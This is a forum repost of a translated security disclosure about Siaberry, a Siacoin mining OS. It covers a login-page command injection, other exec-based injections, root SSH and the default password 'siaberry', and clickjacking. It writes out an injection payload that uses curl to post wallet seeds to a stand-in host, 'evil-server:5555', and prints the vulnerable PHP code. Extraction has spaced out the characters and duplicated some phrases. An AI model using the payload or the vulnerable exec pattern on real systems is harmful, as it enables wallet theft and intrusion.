搜索

[12903] 2018-07-04_云储币Siacoin交易管理系统Siaberry的几个漏洞

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2018-07-04_云储币Siacoin交易管理系统Siaberry的几个漏洞 云 储 币 S i a c o i n 交 易 管 理 系 统 S i a b e r r y 的 几 个 漏 洞 c l o u d s   F r e e B u f   2 0 1 8 - 0 7 - 0 4 今 天 ， 我 要 给 大 家 分 享 关 于 云 储 币 （ 今 天 ， 我 要 给 大 家 分 享 关 于 云 储 币 （ S i a c o i n ） 开 源 挖 矿 系 统 ） 开 源 挖 矿 系 统 S i a b e r r y 相 关 的 几 个 漏 洞 。 奇 葩 的 是 ， 在 我 上 报 漏 相 关 的 几 个 漏 洞 。 奇 葩 的 是 ， 在 我 上 报 漏 洞 之 后 ， 洞 之 后 ， S i a b e r r y 系 统 官 方 开 发 人 员 却 不 打 算 修 复 其 中 的 一 些 漏 洞 ， 还 反 复 公 开 声 称 ， 这 些 漏 洞 对 用 户 没 用 任 系 统 官 方 开 发 人 员 却 不 打 算 修 复 其 中 的 一 些 漏 洞 ， 还 反 复 公 开 声 称 ， 这 些 漏 洞 对 用 户 没 用 任 何 影 响 ， 我 真 的 也 是 醉 了 ！ 何 影 响 ， 我 真 的 也 是 醉 了 ！ 前 言 前 言 S i a b e r r y 运 行 基 于 S i a 平 台 ， 存 储 空 间 的 拥 有 者 通 过 出 售 存 储 空 间 来 赚 取 实 用 型 代 币 的 云 储 币 。 我 曾 在 我 自 己 的 S y n o l o g y   N A S 网 络 存 储 设 备 上 运 行 有 一 个 S i a 节 点 ， 后 来 我 被 S i a b e r r y 系 统 的 友 好 界 面 所 吸 引 ， 就 在 其 中 一 个 硬 盘 上 安 装 试 用 了 S i a b e r r y 系 统 ， 没 想 到 在 几 个 小 时 的 使 用 过 程 中 我 就 发 现 了 好 多 严 重 的 安 全 问 题 。 S i a 是 第 一 个 基 于 区 块 链 技 术 的 去 中 心 化 存 储 平 台 ， 该 平 台 目 的 是 利 用 遍 布 全 世 界 未 被 充 分 使 用 的 硬 盘 来 建 立 一 个 比 传 统 的 云 存 储 提 供 商 更 可 靠 更 便 宜 的 数 据 存 储 市 场 。 S i a 平 台 对 应 的 加 密 货 币 为 S i a c o i n ( 云 储 币 / 云 币 ) ， S i a 的 设 计 是 使 提 供 存 储 空 间 的 服 务 器 能 够 收 到 S i a c o i n ( 云 储 币 ) ， 以 此 激 励 更 多 闲 散 空 间 成 为 储 存 空 间 提 供 商 ， 而 用 户 可 以 用 S i a c o i n 来 出 租 或 卖 买 存 储 空 间 。 S i a 平 台 的 目 标 是 ， 通 过 这 种 区 块 链 技 术 应 用 ， 成 为 互 联 网 世 界 的 主 要 存 储 平 台 。 （ 点 此 查 看 S i a c o i n 挖 矿 指 南 和 S i a c o i n 交 易 平 台 ） S i a b e r r y   O S ： L i n u x 系 统 架 构 的 ， 可 烧 录 在 树 莓 派 等 I o T 硬 件 中 的 S i a c o i n 订 制 化 挖 矿 应 用 系 统 ， 也 可 称 之 为 钱 包 ， 其 具 备 图 形 化 交 互 、 即 插 即 用 、 订 制 软 件 、 优 化 安 全 和 延 伸 扩 展 等 特 点 。 命 令 注 入 漏 洞 命 令 注 入 漏 洞 有 意 思 的 是 ， 我 在 S i a b e r r y 系 统 的 登 录 界 面 上 发 现 了 一 个 命 令 注 入 漏 洞 。 我 在 自 己 的 设 备 中 架 构 了 一 个 S i a b e r r y 系 统 ， 经 测 试 发 现 ， 通 过 在 登 录 界 面 密 码 区 域 输 入 一 个 特 定 密 码 串 ， 就 能 把 受 害 者 S i a 钱 包 中 的 私 钥 信 息 提 取 发 送 到 远 程 攻 击 者 架 设 的 服 务 器 端 。 以 下 为 P o C 验 证 视 频 ：
看 不 到 ？ 点 这 里 漏 洞 信 息 漏 洞 信 息 漏 洞 非 常 明 显 ， 开 发 人 员 和 安 全 专 家 可 以 通 过 观 看 上 面 的 视 频 演 示 ， 来 准 确 地 告 诉 你 后 端 代 码 长 啥 样 ， 我 也 可 以 告 诉 你 ， 是 的 ！ 漏 洞 原 因 在 于   A c t i o n P a g e . p h p   之 中 ： 看 吧 ， 这 就 是 问 题 所 在 之 处 ， H T T P   P O S T 请 求 中 会 包 含 不 可 信 的 输 入 ， S i a b e r r y 接 收 到 了 这 些 不 可 信 的 输 入 后 就 立 即 在 s h e l l 中 执 行 ， 在 此 过 程 中 ， 就 存 在 漏 洞 利 用 可 能 。 漏 洞 利 用 漏 洞 利 用 在 该 漏 洞 利 用 过 程 中 ， 我 创 建 了 一 个 名 为   e v i l - s e r v e r   的 攻 击 者 服 务 器 端 ,   在 该 服 务 器 中 ， 我 运 行 了 n e t c a t 来 执 行 5 5 5 5 端 口 的 网 络 抓 包 。 出 于 方 便 ， 我 在 同 一 个 本 地 网 络 环 境 中 架 构 了 S i a b e r r y 应 用 服 务 器 。 当 然 ， 这 种 攻 击 在 本 地 和 远 程 网 络 环 境 中 都 能 正 常 实 现 。 登 录 时 候 ， 我 使 用 了 f o o 作 为 用 户 名 输 入 ， 密 码 则 是 以 下 特 定 经 过 构 造 的 命 令 串 ： 登 录 提 交 之 后 ， 当   A c t i o n P a g e . p h p   程 序 在   e x e c   行 时 ,   就 会 自 动 执 行 以 下 命 令 ： 至 此 ， 这 条 s h e l l 会 触 发 执 行 三 条 不 同 命 令 ， 第 一 条 命 令 就 会 是 ： 由 于 这 里 的 用 户 名 密 码 组 合   f o o / b a d p a s s w o r d   本 来 就 是 不 存 在 的 ， 所 以 会 返 回 一 个 非 0 退 出 代 码 的 错 误 ， 因 此 ， s h e l l 会 接 着 往 后 执 行 后 续 的 管 道   | |   之 后 的 嵌 入 命 令 ： 这 条 命 令 将 会 启 动 S i a 系 统 的 命 令 行 接 口 程 序 s i a c ， 来 向 控 制 端 打 印 出 钱 包 的 种 子 密 钥 （ s e e d ） 。 种 子 密 钥 是 一 串 2 9 个 单 词 组 成 的 密 文 ， 是 用 户 钱 包 的 私 钥 信 息 ， 任 何 人 只 要 拥 有 这 串 密 文 ， 就 能 控 制 钱 包 中 的 所 有 资 产 。 $ u s e r = $ _ P O S T [ ' u n a m e ' ] ; $ p a s s = $ _ P O S T [ ' p s w ' ] ; e x e c ( " s u d o   b i n / c h e c k e r   $ u s e r   $ p a s s " ,   $ o u t p u t ,   $ e x i t c o d e ) ; b a d p a s s w o r d   | |   c u r l   - d   " $ ( s i a c   w a l l e t   s e e d s ) "   - X   P O S T   e v i l - s e r v e r : 5 5 5 5 . s u d o   b i n / c h e c k e r   f o o   b a d p a s s w o r d   | |         c u r l   - d   " $ ( s i a c   w a l l e t   s e e d s ) "   - X   P O S T   e v i l - s e r v e r : 5 5 5 5 s u d o   b i n / c h e c k e r   f o o   b a d p a s s w o r d s i a c   w a l l e t   s e e d s
最 终 ， c u r l   命 令 的 H T T P   P O S T 请 求 ， 会 把 钱 包 种 子 密 钥 信 息 发 送 到 攻 击 者 服 务 器 端   h t t p : / / e v i l - s e r v e r : 5 5 5 5 ， 攻 击 者 会 在 e v i l - s e r v e r 服 务 器 中 的 5 5 5 5 端 口 获 取 到 该 密 钥 信 息 ， 之 后 ， 就 能 实 现 对 受 害 者 钱 包 资 产 的 云 储 币 资 产 窃 取 。 早 前 关 于 该 漏 洞 的 其 它 信 息 早 前 关 于 该 漏 洞 的 其 它 信 息 有 意 思 的 是 ， 在 8 个 月 前 ， R e d d i t 社 区 的 S i a c o i n 版 块 中 ， 就 有 用 户 就 对 这 个 漏 洞 间 接 发 出 警 告 ， 当 时 他 只 注 意 到 了 e x e c 中 调 用 的 用 户 控 制 数 据 存 在 安 全 隐 患 ， 并 没 有 成 功 的 漏 洞 测 试 证 明 。 S i a b e r r y 系 统 开 发 人 员 K e t e   T e f i d 也 直 接 忽 略 了 这 个 用 户 的 漏 洞 警 告 ， 并 坚 持 认 为 e x e c 调 用 不 存 在 安 全 问 题 。 而 且 ， K e t e   T e f i d 还 在 S i a c o i n 的 R e d d i t 版 块 中 添 加 了 如 下 安 全 性 声 明 ： 关 于 安 全 性 的 声 明 简 而 言 之 ， S i a b e r r y 系 统 是 安 全 的 。 我 自 己 花 费 了 很 多 时 间 来 研 发 这 个 系 统 ， 现 在 它 能 很 好 地 运 行 。 另 外 ， 我 也 反 复 利 用 了 一 些 突 破 性 措 施 做 了 大 量 安 全 测 试 ， 最 终 也 没 发 现 任 何 可 利 用 漏 洞 或 未 授 权 的 访 问 路 径 。 —   S i a b e r r y 开 发 者   K e t e   T e f i d 该 命 令 注 入 漏 洞 的 影 响 程 度 该 命 令 注 入 漏 洞 的 影 响 程 度 尽 管 S i a b e r r y 系 统 登 录 界 面 上 任 意 命 令 注 入 可 能 看 起 来 很 可 怕 ， 但 是 这 个 漏 洞 影 响 有 限 。 因 为 野 生 S i a b e r r y 用 户 很 少 ， 估 计 也 就 几 十 个 。 在 使 用 S i a b e r r y 系 统 的 少 数 服 务 器 中 ， 很 少 有 主 机 会 将 设 备 配 置 为 接 受 来 自 互 联 网 的 流 量 。 但 另 一 方 面 ， 跨 站 点 请 求 伪 造 (   C S R F   ) 漏 洞 可 能 会 加 剧 该 漏 洞 的 严 重 程 度 ， 但 目 前 ， 我 还 没 找 到 任 何 可 行 的 C S R F 攻 击 方 式 。 如 果 S i a b e r r y 系 统 存 在 C S R F 漏 洞 攻 击 ， 则 该 命 令 注 入 漏 洞 的 影 响 将 会 非 常 严 重 ， 因 为 攻 击 者 可 以 通 过 引 诱 本 地 设 备 网 络 的 任 何 用 户 去 访 问 恶 意 网 站 ， 实 现 任 意 S i a b e r r y 系 统 设 备 控 制 。 其 它 漏 洞 发 现 其 它 漏 洞 发 现 除 了 上 述 的 登 录 界 面 命 令 注 入 漏 洞 之 外 ， 我 还 发 现 了 S i a b e r r y 系 统 的 其 它 多 个 漏 洞 ， 但 S i a b e r r y 官 方 到 现 在 都 没 修 复 。 现 在 已 经 过 了 6 0 天 的 漏 洞 修 复 期 限 ， 我 原 以 为 S i a b e r r y 官 方 在 这 段 时 间 之 内 已 经 有 足 够 时 间 来 进 行 修 复 ， 但 最 终 我 看 到 的 是 ， S i a b e r r y 官 方 只 对 源 码 两 处 地 方 进 行 了 修 改 ， 改 动 量 前 后 不 超 过 1 0 行 代 码 。 c u r l   - d   " $ ( s i a c   w a l l e t   s e e d s ) "   - X   P O S T   e v i l - s e r v e r : 5 5 5 5
我 觉 得 S i a b e r r y 官 方 根 本 不 想 修 复 我 上 报 的 这 些 漏 洞 ， 所 在 我 决 定 在 此 进 行 公 开 披 露 。 数 十 个 大 把 的 命 令 注 入 漏 洞 数 十 个 大 把 的 命 令 注 入 漏 洞 除 了 上 述 登 录 界 面 处 不 需 验 证 的 命 令 注 入 绕 过 漏 洞 之 外 ， S i a b e r r y 系 统 其 它 地 方 还 存 在 类 似 下 面 这 种 ， 针 对 身 份 验 证 用 户 才 有 效 的 多 个 命 令 注 入 漏 洞 ， 在 S e t P a r a m s . p h p   文 件 中 ， 当 S i a b e r r y 系 统 在 执 行 用 户 输 入 字 符 串 时 存 在 1 2 种 不 同 实 例 ， 这 种 实 例 代 码 如 下 ： 分 析 可 以 发 现 ， 这 种 实 例 运 行 代 码 一 样 存 在 命 令 注 入 漏 洞 ， 非 常 危 险 。 S i a b e r r y 系 统 使 用 了 不 安 全 的 系 统 使 用 了 不 安 全 的 S S H 配 置 配 置 S i a b e r r y 系 统 默 认 启 用 S S H ， 此 外 ， S i a b e r r y 系 统 还 允 许 r o o t 用 户 的 S S H 登 录 ， 这 种 做 法 存 在 一 定 安 全 隐 患 。 虽 然 S i a b e r r y 系 统 本 身 只 是 为 用 户 提 供 了 一 个 可 以 烧 录 的 O S 软 体 系 统 ， 根 本 上 来 说 不 涉 及 硬 件 设 备 ， 貌 似 这 种 启 用 S S H 的 做 法 也 能 说 得 通 ， 但 乍 一 想 ， S i a b e r r y 官 方 也 出 售 一 些 烧 录 好 的 硬 件 S i a c o i n 挖 矿 设 备 啊 ， 而 整 个 S i a b e r r y 系 统 说 明 文 档 中 就 根 本 没 提 到 S S H ， 所 以 这 种 安 全 风 险 似 乎 最 终 只 能 由 用 户 来 承 担 。 S i a b e r r y 系 统 使 用 了 不 安 全 的 默 认 密 码 配 置 系 统 使 用 了 不 安 全 的 默 认 密 码 配 置 S i a b e r r y 系 统 的 标 准 用 户 和 r o o t 用 户 最 初 都 使 用 了 默 认 密 码 ： s i a b e r r y ， 而 S i a b e r r y 系 统 W e b 应 用 在 整 个 应 用 过 程 中 都 不 会 提 示 用 户 来 修 改 这 个 默 认 密 码 。 虽 然 S i a b e r r y 的 说 明 文 档 中 提 示 用 户 需 要 更 改 这 个 默 认 密 码 ， 但 我 估 计 大 多 数 用 户 都 不 会 仔 细 看 说 明 文 档 ， 这 样 一 来 ， 很 多 用 户 就 会 完 全 忽 略 这 个 步 骤 ， 后 续 使 用 过 程 中 当 然 也 就 存 在 安 全 风 险 。 S i a b e r r y 系 统 存 在 点 击 劫 持 漏 洞 （ 系 统 存 在 点 击 劫 持 漏 洞 （   C l i c k j a c k i n g ） ） 点 击 劫 持 是 攻 击 者 引 诱 受 害 者 点 击 访 问 恶 意 网 站 ， 之 后 诱 使 他 们 点 击 某 个 恶 意 界 面 按 钮 形 成 劫 持 的 攻 击 。 在 此 过 程 中 ， 受 害 者 并 不 知 道 他 们 点 击 操 作 的 按 钮 ， 实 际 上 是 另 一 个 恶 意 网 站 的 按 钮 ， 攻 击 者 会 在 隐 蔽 的 i f r a m e 框 架 中 覆 盖 掉 原 来 合 法 的 按 钮 ， 替 换 成 自 己 想 实 现 的 功 能 按 钮 。 顾 名 思 义 ， 点 击 劫 持 攻 击 仅 限 于 点 击 鼠 标 ， 因 此 攻 击 者 不 能 用 输 入 方 式 实 现 S i a b e r r y 入 侵 ， 或 窃 取 受 害 者 钱 包 资 产 等 操 作 。 但 这 种 漏 洞 还 是 存 在 一 定 风 险 隐 患 ， 攻 击 者 可 以 通 过 点 击 操 作 ， 来 实 现 受 害 者 存 储 空 间 格 式 化 ， 这 样 就 能 让 受 害 者 存 储 合 约 失 效 ， 丢 失 掉 保 证 金 。 典 型 的 点 击 劫 持 漏 洞 如 下 图 所 示 ： i f   ( i s s e t ( $ _ P O S T [ ' a u t o U n l o c k p a s s ' ] ) )   {     $ a u t o u n l o c k p a s s = $ _ P O S T [ ' a u t o U n l o c k p a s s ' ] ;     e x e c ( " s u d o   . . / b i n / S e t A u t o U n l o c k   $ a u t o u n l o c k p a s s " ) ; }
修 复 也 很 简 单 ， 只 需 在 服 务 器 响 应 消 息 中 ， 对 C o n t e n t - S e c u r i t y - P o l i c y :   f r a m e - a n c e s t o r s   的 H T T P   头 内 容 做 一 些 必 要 的 设 置 就 好 。 S i a b e r r y 架 构 整 体 安 全 性 堪 忧 架 构 整 体 安 全 性 堪 忧 虽 然 上 述 这 个 S i a b e r r y 系 统 命 令 注 入 漏 洞 ， 看 起 来 像 是 代 码 开 发 过 程 中 单 一 的 粗 心 错 误 ， 但 我 对 整 个 S i a b e r r y 系 统 W e b 接 口 开 源 代 码 进 行 一 些 安 全 审 查 后 发 现 ， 这 套 应 用 系 统 架 构 从 根 本 上 就 是 不 安 全 的 。 目 前 ， 我 发 现 的 问 题 主 要 是 ： 通 过 通 过 s h e l l 命 令 可 执 行 的 进 程 间 通 信 命 令 可 执 行 的 进 程 间 通 信 S i a b e r r y 的 w e b 应 用 程 序 在   b i n   文 件 夹 目 录 下 内 置 了 2 5 个 s h e l l 命 令 脚 本 ， w e b 应 用 程 序 负 责 利 用 大 多 具 备 s u d o 权 限 的 P H P   e x e c 或 s h e l l _ e x e c 调 用 来 执 行 这 些 内 置 脚 本 。 如 果 攻 击 者 控 制 了 命 令 字 符 串 ， 像 上 述 的 命 令 注 入 漏 洞 一 样 ， 他 们 可 以 注 入 命 令 并 欺 骗 S i a b e r r y 系 统 实 现 注 入 命 令 执 行 。 限 制 用 户 输 入 且 对 s h e l l 命 令 进 行 安 全 过 滤 处 理 ， 一 定 程 度 上 可 以 避 免 命 令 注 入 ， 但 这 就 要 求 开 发 人 员 对 每 次 的 使 用 处 理 确 保 正 确 才 能 有 效 ， 可 能 更 安 全 的 方 式 就 是 完 全 避 免 s h e l l 命 令 在 进 程 间 通 信 。   S i a b e r r y 的 w e b 应 用 程 序 还 有 其 它 多 种 通 信 方 式 ， 从 通 信 效 果 来 说 ， 这 些 通 信 方 式 本 身 不 会 存 在 意 外 执 行 任 意 代 码 的 可 能 。 过 多 的 过 多 的 W e b 应 用 权 限 设 置 应 用 权 限 设 置 S i a b e r r y 是 一 个 多 层 应 用 程 序 ， 呈 现 给 用 户 的 部 分 只 是 w e b 前 端 ， 很 多 后 台 进 程 在 前 端 操 作 之 下 与 用 户 进 行 交 互 ， 这 其 中 包 括 S i a 守 护 进 程 本 身 。 在 任 何 的 多 层 应 用 中 ， w e b 应 用 是 最 大 的 攻 击 面 可 能 ， 因 为 它 需 要 处 理 的 不 可 信 输 入 很 多 。 因 此 ， 安 全 体 系 结 构 指 导 遵 循 最 小 特 权 原 则 ， 需 严 格 限 制 w e b 应 用 权 限 ， 这 样 ， 即 使 攻 击 者 对 w e b 应 用 形 成 破 坏 ， 但 他 们 也 无 法 完 全 控 制 整 个 系 统 。 但 这 里 ， S i a b e r r y 系 统 没 有 完 全 遵 循 这 个 原 则 ， 尽 管 它 确 实 将 有 些 任 务 限 制 在 s h e l l 脚 本 的 白 名 单 中 ， 但 w e b 应 用 被 赋 予 了 r o o t 权 限 。 从 影 响 程 度 上 来 说 ， 赋 予 s u d o 权 限 都 要 比 赋 予 r o o t 权 限 稍 好 。 S i a b e r r y 统 开 发 者 的 无 理 狡 辩 统 开 发 者 的 无 理 狡 辩 从 S i a b e r r y 系 统 开 发 者   K e t e   T e f i d   在 R e d d i t 社 区 中 的 公 开 说 明 ， 可 以 体 会 到 S i a b e r r y 官 方 对 这 些 漏 洞 毫 不 在 意 的 原 因 了 ：
有 些 朋 友 评 论 说 ， 把 某 某 变 量 放 到 另 一 某 某 变 量 中 后 会 成 为 其 它 变 量 ， 这 样 会 产 生 安 全 隐 患 ， 但 关 键 是 ， 首 先 你 得 突 破 登 录 获 得 授 权 访 问 才 能 把 某 某 变 量 放 到 另 一 某 某 变 量 中 啊 ， 其 次 ， S i a b e r r y 系 统 又 不 是 什 么 中 心 应 用 系 统 ， 不 是 所 有 人 都 能 随 便 连 接 使 用 的 ， 它 只 是 用 户 自 己 的 系 统 啊 ， 所 以 ， 我 就 不 明 白 了 ， 按 照 你 们 所 说 的 漏 洞 隐 患 来 讲 ， S i a b e r r y 系 统 用 户 在 完 成 登 录 之 后 ， 还 要 用 这 些 漏 洞 来 自 己 入 侵 自 己 啊 ？ ！ — S i a b e r r y 开 发 者   K e t e   T e f i d 存 在 漏 洞 ， 还 狡 辩 自 己 的 系 统 很 安 全 。 这 种 无 理 的 反 驳 也 真 是 够 的 了 ， 自 己 都 没 一 点 安 全 理 念 。 你 说 没 问 题 ， 那 举 个 场 景 栗 子 给 你 看 看 ： 场 景 1   :   C S R F 漏 洞 允 许 匿 名 用 户 通 过 S i a b e r r y   W e b 应 用 修 改 S i a 目 录 路 径 。 按 照 K e t e   T e f i d 的 理 论 ， 他 可 能 又 会 说 ： “ 谁 在 乎 呢 ？ 攻 击 者 为 什 么 会 这 种 做 呢 ？ “ 场 景 2   : 存 在 命 令 注 入 漏 洞 ， 攻 击 者 可 以 通 过 将 W e b 应 用 中 的 S i a 目 录 路 径 设 置 为 某 些 经 过 构 造 的 命 令 串 ， 以 此 实 现 任 意 命 令 执 行 ， 但 这 种 攻 击 前 提 必 须 经 过 验 证 登 录 才 行 。 按 照 K e t e   T e f i d 的 理 论 ， 他 可 能 又 会 说 ： “ 谁 在 乎 呢 ？ 登 录 的 验 证 用 户 怎 么 可 能 自 己 攻 击 自 己 呢 ？ “ 以 上 单 一 的 漏 洞 场 景 安 全 影 响 确 实 很 低 ， 但 组 合 利 用 效 果 就 不 一 样 了 ， 风 险 隐 患 就 不 是 那 么 简 单 了 。 系 统 安 全 保 护 不 仅 包 含 外 部 防 护 ， 也 包 含 内 部 防 御 ， 也 就 是 所 谓 的 纵 深 防 御 。 懂 行 的 安 全 管 理 人 员 都 明 白 ， 现 存 的 漏 洞 不 会 是 今 后 系 统 中 唯 一 的 漏 洞 。 大 多 数 情 况 下 ， 最 正 确 的 决 定 就 是 及 时 修 复 当 前 漏 洞 ， 从 根 本 上 限 制 住 后 续 各 种 漏 洞 组 合 利 用 的 影 响 ， 攻 防 无 形 ， 未 知 攻 ， 焉 知 防 。 漏 洞 上 报 进 程 漏 洞 上 报 进 程 2 0 1 8 - 0 4 - 0 1 :   我 把 所 有 发 现 的 漏 洞 上 报 给 了 S i a b e r r y 系 统 开 发 人 员   K e t e   T e f i d 2 0 1 8 - 0 4 - 0 2 :   K e t e   只 把 登 录 界 面 处 的 命 令 注 入 漏 洞 进 行 了 修 复 2 0 1 8 - 0 4 - 0 5 :   我 跟 进 询 问   K e t e   对 其 它 S i a b e r r y 系 统 漏 洞 的 修 复 情 况 2 0 1 8 - 0 4 - 0 6 :   K e t e   回 答 我   ” 我 会 好 好 看 看 ， 但 可 能 最 终 的 修 复 日 期 不 会 像 你 要 求 的 6 0 天 那 么 快 ， 所 以 ， 你 该 干 嘛 干 嘛 吧 ” 2 0 1 8 - 0 4 - 0 6 :   我 接 着 询 问 K e t e 他 计 划 要 修 复 哪 些 漏 洞 ， 之 后 ， K e t e 拒 绝 和 我 对 话 2 0 1 8 - 0 6 - 1 1 :   6 0 天 漏 洞 修 复 日 期 已 过 ， 所 以 我 决 定 在 此 公 开 披 露 我 我 发 现 的 S i a b e r r y 漏 洞 总 结 总 结 基 于 S i a b e r r y 系 统 存 在 的 各 种 漏 洞 ， 以 及 其 官 方 对 上 报 漏 洞 的 漠 不 关 心 和 置 之 不 理 ， 对 广 大 用 户 而 言 ， 我 只 有 一 条 建 议 ： 别 用 S i a b e r r y 系 统 ！ 另 外 ， S i a b e r r y 系 统 钱 包 涉 及 的 销 售 策 略 和 操 作 方 法 存 在 问 题 ， 具 体 请 参 看 我 的 第 二 部 分 分 析 文 章 。 * 参 考 来 源 ： 参 考 来 源 ： s p a c e d u c k ， ， c l o u d s   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
左 右 滑 动 左 右 滑 动   学 习 学 习 “ 加 星 加 星 ”   F r e e B u f   天 天 见 天 天 见 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理